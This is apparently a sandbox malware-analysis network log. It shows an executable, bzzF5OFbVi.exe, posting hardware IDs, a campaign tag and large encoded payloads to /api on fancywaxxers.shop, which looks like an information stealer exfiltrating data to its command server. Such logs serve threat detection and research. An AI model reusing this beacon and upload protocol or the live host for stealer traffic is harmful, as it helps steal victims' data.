2024-12-31 08:48:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:48:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:34 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2VENWAMDUOYDWAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20555 Host: fancywaxxers.shop
2024-12-31 08:48:34 UTC	15331	OUT	Data Raw: 2d 2d 32 56 45 4e 57 41 4d 44 55 4f 59 44 57 41 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 34 35 46 42 33 31 30 36 36 36 39 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 32 56 45 4e 57 41 4d 44 55 4f 59 44 57 41 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 56 45 4e 57 41 4d 44 55 4f 59 44 57 41 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --2VENWAMDUOYDWANContent-Disposition: form-data; name="hwid"30F45FB31066695C20A4C476FD51BCB1--2VENWAMDUOYDWANContent-Disposition: form-data; name="pid"3--2VENWAMDUOYDWANContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-31 08:48:34 UTC	5224	OUT	Data Raw: c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 Data Ascii: MMZh'F3Wun 4F([:7s~X`nO`i
2024-12-31 08:48:35 UTC	1139	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5o759b91c3hd22ul7kmum8ov07; expires=Sat, 26 Apr 2025 02:35:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xjo5cMYr46zP%2BZZJP7EyW9%2FLxQMA0CLJ3KVIhQBHG%2F%2B6yb%2F46f1ez5QR1cGRkkjUuU7ykE8AOU6KQp7AXjrVhYfwWQ1Rpgy5tctadC5AlDJtScK2U3ZQZSv4J8y%2FrQHL9CaDUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902e82d884414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2156&min_rtt=1627&rtt_var=1669&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21515&delivery_rate=497868&cwnd=172&unsent_bytes=0&cid=ac2268cc6caad6f7&ts=611&x=0"
2024-12-31 08:48:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:48:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:36 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J8VDLX0C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1194 Host: fancywaxxers.shop
2024-12-31 08:48:36 UTC	1194	OUT	Data Raw: 2d 2d 4a 38 56 44 4c 58 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 34 35 46 42 33 31 30 36 36 36 39 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4a 38 56 44 4c 58 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 38 56 44 4c 58 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 38 56 44 4c 58 30 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --J8VDLX0CContent-Disposition: form-data; name="hwid"30F45FB31066695C20A4C476FD51BCB1--J8VDLX0CContent-Disposition: form-data; name="pid"1--J8VDLX0CContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--J8VDLX0CContent-Di
2024-12-31 08:48:36 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uf0gkq3ad7s1h8bs93ghi3b776; expires=Sat, 26 Apr 2025 02:35:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CGz53FNOovUjqban54Qarl3LB3eIGYHMxbDd9x7grochp87Nh62qS%2FQvQIDT%2FnDALNcQdJBgSw4kX%2FSFhgGPdKu341gyRbB2JY4tNhqNXl4FgGFfv9jj%2BGn9uroiDF06wu0arA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902f26f9cde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5531&min_rtt=1681&rtt_var=3083&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2102&delivery_rate=1737061&cwnd=240&unsent_bytes=0&cid=84e2aa6815ba9151&ts=449&x=0"
2024-12-31 08:48:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:48:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:37 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A9RX4OYXVL13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570681 Host: fancywaxxers.shop
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: 2d 2d 41 39 52 58 34 4f 59 58 56 4c 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 34 35 46 42 33 31 30 36 36 36 39 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 41 39 52 58 34 4f 59 58 56 4c 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 39 52 58 34 4f 59 58 56 4c 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 39 52 58 34 4f 59 58 Data Ascii: --A9RX4OYXVL13Content-Disposition: form-data; name="hwid"30F45FB31066695C20A4C476FD51BCB1--A9RX4OYXVL13Content-Disposition: form-data; name="pid"1--A9RX4OYXVL13Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--A9RX4OYX
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: bc bf 5f 08 82 8f bf 2b cb 5f a9 c1 38 0f 0f ea 79 4b fe 8c f1 ff 42 6a d2 97 3d 3b 11 26 a5 fd 2f bf fb 8f 54 fb 79 fd 72 7f ee cf 0f f4 aa f0 40 76 45 9a ee 2c ba c2 4a 2e b2 1a 77 fe 07 50 9a 1e ff bf db 4d fe ef 03 3c 44 07 e0 cc 14 05 5a 09 84 7e 43 58 b0 f1 41 fb 68 46 4d 26 28 8c 77 12 bd d0 d0 6f 17 92 fd 98 fb 33 46 08 e9 4f 65 bd 4e db 11 00 52 8d b4 60 78 7c b0 17 ec 8c 81 1e 7b 43 fa ae ec 3d 3d cd c1 18 77 5a a3 3c ee f8 aa b3 1c ea 72 85 73 c7 6e db bc 05 d4 12 29 01 e1 f6 51 89 c2 4c 5f f3 d8 43 ed 9c 48 3a 3a 89 eb 75 2f 45 f4 08 e7 7a 3b 0a 02 bf 5f 99 4e ee a7 35 4e 9f a2 73 7b 7e 50 43 75 fb bc 89 0b 9b 34 d1 73 63 62 07 d4 05 65 c3 bf 7d 03 48 04 9f 1a 28 cd 4a 3a e7 9c 8e cd d5 42 1c 39 f4 e9 02 b0 ec 57 84 c6 1a 58 3b eb 57 5a 6c 86 Data Ascii: _+_8yKBj=;&/Tyr@vE,J.wPM<DZ~CXAhFM&(wo3FOeNR`x\|{C==wZ<rsn)QL_CH::u/Ez;_N5Ns{~PCu4scbe}H(J:B9WX;WZl
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: 0c 4f b1 b9 f6 91 c4 9f 29 55 36 a2 32 f3 3a d4 39 ab 11 6c 8e e2 b2 bf d1 76 6e 08 75 de d0 0f 41 df 25 f8 a4 3a 56 aa 61 e1 97 11 e3 99 7d 49 78 f6 f3 0a 7f 0b 6d 90 56 1a 66 89 a0 e5 15 22 00 5b 0f bb 33 28 cc 7a 00 e8 56 06 ff 9b 64 e7 80 a5 1f 20 b3 10 e4 7e 49 39 78 b6 89 22 c8 75 7b 92 ff df be ed f2 a9 e2 c9 e6 0a 90 00 90 44 de f3 b9 cf 13 07 22 bb 34 64 50 90 00 eb 83 b8 e8 a4 48 07 70 de 09 67 29 8e 48 3b 40 87 42 2f 80 81 c7 d5 4c 8f 62 8b 82 57 cd f9 97 4e dd 9b 87 5d 30 58 93 6d bb 2b bb af 20 6e a8 cb 80 07 98 a5 7b a3 85 69 0e d9 a8 6e 33 38 26 68 36 22 3d 65 48 db 51 c5 58 c6 47 bd f9 ae 9a d0 71 bc c4 47 dc 10 3c f8 30 13 f5 5a a9 58 8f 52 b0 b7 c5 60 67 cf 29 a5 b2 a5 c6 4d 2c 1c f4 f4 a7 77 62 5e ed b2 56 88 28 07 7b 87 19 f8 a4 7d 4a Data Ascii: O)U62:9lvnuA%:Va}IxmVf"[3(zVd ~I9x"u{D"4dPHpg)H;@B/LbWN]0Xm+ n{in38&h6"=eHQXGqG<0ZXR`g)M,wb^V({}J
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: 6f c7 4b b8 32 91 3a 91 66 59 a3 9e 12 ee d2 e9 3a 76 69 2b d9 57 a4 1d a3 f1 a7 0f 4b ec e6 78 2a 88 1d 49 4d 63 79 d4 ee 4e f7 70 76 8a d8 21 b2 69 a1 82 7c 55 2b 72 f5 0c 5d 15 b5 63 4f 6a 62 b2 3a 6b 62 66 be 9a 95 c9 20 4f 34 a4 ff c5 85 0f a1 fa 13 bf 6d d9 0f 32 d2 65 c2 2f 97 09 d4 57 6e 31 d7 47 c6 62 66 f8 a9 ed 84 af 0d 67 bf 6e 76 7c d1 d8 77 4b 92 96 ba f4 2a 2d 3d c4 0c 81 80 a0 98 58 99 02 1b c4 85 6b 0b 28 72 18 04 31 65 c0 55 ac ae 24 44 d4 d2 28 50 7f 68 72 fd fc a8 e9 9e a3 a0 97 1f a3 9a ca 31 cf 07 19 14 ea e5 1f a6 15 e1 5f f5 73 4a ff f4 35 d4 b9 fd 41 1e 74 d5 61 3f ac 67 3d db f3 5e 0c 58 5e 01 96 98 b2 8f 80 2a b9 ee ee 7a 20 43 0d 14 c6 ff 99 5e 96 46 cc b4 04 6d 46 c9 2c e8 0a b9 2a 7d 1d 22 f6 dc fa e1 3b cb 6e d4 d2 73 fe 74 Data Ascii: oK2:fY:vi+WKxIMcyNpv!i\|U+r]cOjb:kbf O4m2e/Wn1Gbfgnv\|wK-=Xk(r1eU$D(Phr1_sJ5Ata?g=^X^z C^FmF,}";nst
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: bd bc 6b ec 20 05 3a 8a a2 fb e1 55 42 3c 5e 86 af 24 0f 5f 67 48 13 e8 ba 99 ef cf 8c be 1a 6d c6 84 15 de 56 b9 f8 a8 24 e2 33 5a 77 72 16 99 53 04 17 fe c1 87 40 97 bb 79 a8 d8 d6 8c 2a 01 41 68 0c 53 8e 8e 40 91 55 11 3f 6f 16 98 07 1c 2f 39 ad d1 1c e2 b7 1e 6d 4f 6e b5 e9 fe 02 11 d0 f7 c5 41 c7 af ec 35 a0 1c 4d b9 d7 ea ea 44 5b e9 d4 d5 70 db ea 9b 56 77 56 30 49 af c3 b7 f0 46 e9 ca c0 56 c5 bf 14 c2 80 40 2e 68 d7 06 03 c5 0f ba 66 b8 9b 14 9c 15 80 fc e8 c8 a0 8d c2 f7 16 8e d2 a1 37 f5 56 03 e1 9e 7f 27 33 ec 0b 2d f9 39 76 e0 fa 69 02 16 ed ba c2 0d 29 38 90 00 29 16 21 c2 8f d8 f9 b9 1f 83 c1 dc 84 6b 0b ea d0 52 58 68 64 64 10 39 dc 6f 53 b3 9f 8f 6a d1 dc 14 54 60 4e 5a 38 43 30 3d 71 2a 22 9d a2 5d c1 51 f5 56 81 ad 95 d3 89 5a 2c 55 70 Data Ascii: k :UB<^$_gHmV$3ZwrS@yAhS@U?o/9mOnA5MD[pVwV0IFV@.hf7V'3-9vi)8)!kRXhdd9oSjT`NZ8C0=q"]QVZ,Up
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: db a8 ad a9 59 6a 0b 6a 99 66 e7 04 2f a5 47 a5 0b 4c 3e 62 fc ac 46 f4 ff 59 4a 5f 4c a5 95 6b bc a3 4a 68 29 db d6 23 db ac ce 48 45 d1 35 4a e2 57 1c fd 71 cb 8a 7d a2 95 95 62 b6 d2 40 42 b6 88 48 b2 f4 db 89 af 1f 0b 5b 78 25 3f 15 c3 80 5d ab 79 eb db bd f4 5b dc 17 8e 8d b5 61 8c e9 ad 6f 95 f0 34 ae 43 1f 76 e2 78 28 b3 aa 24 1e ca df 57 25 f1 35 44 7c 67 7f fe 53 a8 ce d8 19 57 f7 be 97 e0 4b 3a ea bb d5 ed e6 9c 26 f9 70 4d 12 c5 f8 bb 65 e1 5b 70 c5 96 dd 06 33 c7 32 44 7c 24 ee 12 b8 32 9c 88 fa 48 be 70 7a 22 53 1d 0f cd c6 8c da e6 d4 44 71 dd 23 52 38 1a e7 59 e6 10 42 c8 c8 81 3c 85 cd ba 8b ca 80 b0 36 d8 f5 f3 96 21 3b c3 7d dd 72 c8 55 01 44 1d e9 5d d3 83 86 24 d3 49 6c 8a 0b 8c 7c ae 83 83 dd 33 6b 01 9b 2e d8 6c 20 b5 bd f1 20 c3 74 Data Ascii: Yjjf/GL>bFYJ_LkJh)#HE5JWq}b@BH[x%?]y[ao4Cvx($W%5D\|gSWK:&pMe[p32D\|$2Hpz"SDq#R8YB<6!;}rUD]$Il\|3k.l t
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: b3 64 43 41 b1 17 62 e0 47 54 96 4a dc 00 43 0b 44 4c ed 2d 3f 8b 03 3b 44 50 b2 81 57 5b b2 8f 9b ca da d3 67 4c 48 77 03 6c 2b 57 b3 97 f3 f4 b3 b8 2b ae db 2f 2f 43 60 7d f6 6f de d9 bf 88 40 c7 00 c9 10 3a dd c9 3d 0f 47 13 38 8b 8f 67 db 89 27 47 4e cf 51 34 71 b7 97 d6 c2 3b 25 2f 9c 71 be 9f 63 81 17 a9 5c 5a be 19 c0 cf b9 2b 77 5b e6 98 90 d5 97 8b 5a cb ce dc ab 8f 1a 3d 75 46 37 93 43 07 7b 46 d0 85 d6 17 7c 6b 6d 72 c7 b7 e4 1f f4 2c 7c 84 90 e2 35 80 62 8d af fd 08 d9 8f 8d b5 d4 69 60 18 da b5 02 b6 a1 b3 c8 ff 2e 41 8c 77 d9 b9 ec 48 15 69 78 2c a3 09 f7 3f d0 c5 04 4c fc 48 cd 19 27 f8 0e c8 0a 06 97 76 23 01 41 b4 39 68 6b 8c 51 07 fc fa c0 7c 67 61 3e 25 b2 49 fa c0 6f ac 1b 5d 23 06 cc 5a 3c f6 c1 36 8f 60 2f c6 06 5f 6e 9b 1c d5 0f 12 Data Ascii: dCAbGTJCDL-?;DPW[gLHwl+W+//C`}o@:=G8g'GNQ4q;%/qc\Z+w[Z=uF7C{F\|kmr,\|5bi`.AwHix,?LH'v#A9hkQ\|ga>%Io]#Z<6`/_n
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: c4 fb 4a a7 cf 37 b8 2a 67 cf 4f a4 9b 38 28 5e 56 7e ae 3f af d6 e1 96 60 5b af 24 1f a1 7b 59 38 89 a7 09 f9 85 36 12 b6 b7 9c 76 99 b4 4c 1c 09 ef c7 07 b9 43 d9 95 ab 6a e5 3f b1 c5 8f 23 c7 ee 9b e9 47 f0 40 6f 86 ba 47 46 54 e9 5f 89 dc cc a0 d2 67 7e 7f 4a bc bf 45 66 a8 06 bd 91 24 d3 7b c5 05 bb 7f 67 da 4a bc 3f 5d 5e 49 4f 11 24 fb 9c fe fd e7 6e 08 08 76 f6 f3 61 c0 23 e5 cc c7 ae c8 ec 44 ea ed 79 4d 76 8d 38 d7 d3 bf ec 49 9d 77 c5 0d 9e 96 c3 ea d1 57 fa 96 c7 4c 21 bb e3 ee f6 d7 b9 ff 7e af 78 1c a5 d1 2d 59 27 08 ef e5 78 33 58 18 dc ad 55 f1 70 fc f9 ad ec 30 e3 48 09 7d d4 6a 6d 2d d2 66 ce ad f9 4e de 5a 0e 22 13 01 46 16 da 31 9a fe 9e 91 87 35 22 fb 32 86 6c 67 d9 b3 3f 44 d4 69 0f c7 c0 e7 f6 4a 8b 74 9f 38 e2 9e a9 09 a3 e2 1e b9 Data Ascii: J7*gO8(^V~?`[${Y86vLCj?#G@oGFT_g~JEf${gJ?]^IO$nva#DyMv8IwWL!~x-Y'x3XUp0H}jm-fNZ"F15"2lg?DiJt8
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: 45 ab 76 01 ee e4 7c d4 49 3c 5c 74 bb 63 ae 9e 6d e1 9e 9d 88 3b b0 53 1e 61 be c2 bc c6 83 a8 2a 64 e5 cb 9f e3 a4 91 52 08 89 e3 c2 5f c6 e9 fa 27 8e 8b 68 38 c2 b2 73 57 c7 6c 23 08 a3 b5 02 dc 5b c0 e6 ab b1 04 40 70 de 8c 5a a3 2d 08 b0 8b b7 48 f6 f1 c8 df 6b 27 6d b3 d1 31 6b e1 76 66 f5 77 31 94 b4 0d 4c cc f8 90 2e 46 ab 15 91 90 44 6c 65 22 59 c8 d9 9f 7f e3 e4 87 f9 3e 7e 27 1f 8f 8d 32 a3 30 9f 89 33 ce 61 f3 08 c5 65 5b 89 ca 4b 5f 27 35 db 1b 57 15 75 5e ed a0 a2 22 6e 4b 11 fa c2 df 1d c6 7b 02 d8 5f e4 d0 d1 56 e6 94 7e db cf 56 d2 93 5d 32 f7 cd 55 26 cf f5 e4 92 3b 2a 39 1f 8f e9 d2 48 be 5b a2 9b 6f 0e 74 28 ea 29 e1 13 eb d3 14 ec 30 84 fb df 6a 51 61 d5 17 f1 1e 03 d4 eb 3e 6a cb f0 d7 f6 a3 08 cf d9 d4 44 5a 4f e3 56 fd be 49 88 00 Data Ascii: Ev\|I<\tcm;SadR_'h8sWl#[@pZ-Hk'm1kvfw1L.FDle"Y>~'203ae[K_'5Wu^"nK{_V~V]2U&;9H[ot()0jQa>jDZOVI
2024-12-31 08:48:37 UTC	15331	OUT	Data Raw: dc 8b 03 16 b3 a9 8c 22 d1 e1 ac 0b 66 2f ea 01 b5 24 89 5a 2d 06 6e ec b4 cb a9 f7 f2 6a e0 19 93 1d ba 18 f0 bc 53 4c 3e a7 7a 9a e3 f6 a4 b9 f8 08 e7 c6 f7 58 29 78 2f eb 40 6a 8c 04 c0 77 e0 18 38 02 be 1b 05 cb 6e 7d d1 fe d2 c2 cb 74 a6 11 d1 e5 ce 16 97 2c 50 b0 6e 6c a7 70 4b 9e e6 31 60 69 91 dd 50 af b2 16 92 dc 82 24 96 a3 54 7b dc 90 5a ca 4a 7d 54 75 96 aa bc d0 fd 45 17 04 a9 92 03 b6 24 c0 87 75 33 41 43 99 a9 57 c5 7c 79 98 c5 cc e3 d1 1b a7 de 60 af 0c 35 a0 75 b7 e8 21 fd 3d 26 f9 e7 4a 34 93 e0 08 29 d0 db 80 07 c4 7c 80 12 af 3e 40 57 a2 29 25 9b 28 de d4 66 ee 8d 32 12 04 ab f6 6e f5 76 48 96 e0 16 85 d8 60 6c 1e be 63 6b d7 ac 19 2b 55 d4 b5 c0 0c 05 97 27 ef a0 a6 f7 35 2f 89 48 85 4d aa 11 67 44 ae a0 64 34 88 01 d0 5d 3b 6f ff 59 Data Ascii: "f/$Z-njSL>zX)x/@jw8n}t,PnlpK1`iP$T{ZJ}TuE$u3ACW\|y`5u!=&J4)\|>@W)%(f2nvH`lck+U'5/HMgDd4];oY
2024-12-31 08:48:40 UTC	1143	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=57dhi72185grbvn3b3jih3j0so; expires=Sat, 26 Apr 2025 02:35:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pio4MFzsEj8M%2BDYF%2F9xSsbsG%2FfYK6Vp7wkR4ApewdkYxCQRXyz1Urf3NSvwHliji85Ye2KEYpfK39pcLe4TQoxKoL5%2Frn3IEnljPSIrZtSdd%2BI6Q3%2F4azeLn1bR7lQkXIpK7rg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902fabd69de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1596&rtt_var=608&sent=336&recv=588&lost=0&retrans=0&sent_bytes=2843&recv_bytes=573223&delivery_rate=1787025&cwnd=240&unsent_bytes=0&cid=534dd41c5f697a00&ts=2703&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49714	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: fancywaxxers.shop
2024-12-31 08:48:40 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 30 46 34 35 46 42 33 31 30 36 36 36 39 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=30F45FB31066695C20A4C476FD51BCB1
2024-12-31 08:48:41 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pcla2l0j3vgbmcfuo87tvqfmst; expires=Sat, 26 Apr 2025 02:35:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PyPyqAcBwuPqf8FvXbXJnjCOQR785NML9Th8DLQDgccWh72V4A4NYxcO08j4EXqyUD66DdOOvKaEH%2FPZBPFZPH5%2BF5w4%2B%2BHS6WIUW4TWcB33wv0UASvSUMDJvBp9AfLrxdVOdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa9030eedbd7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1976&rtt_var=746&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=989&delivery_rate=1462193&cwnd=218&unsent_bytes=0&cid=e963adb966bca1b5&ts=471&x=0"
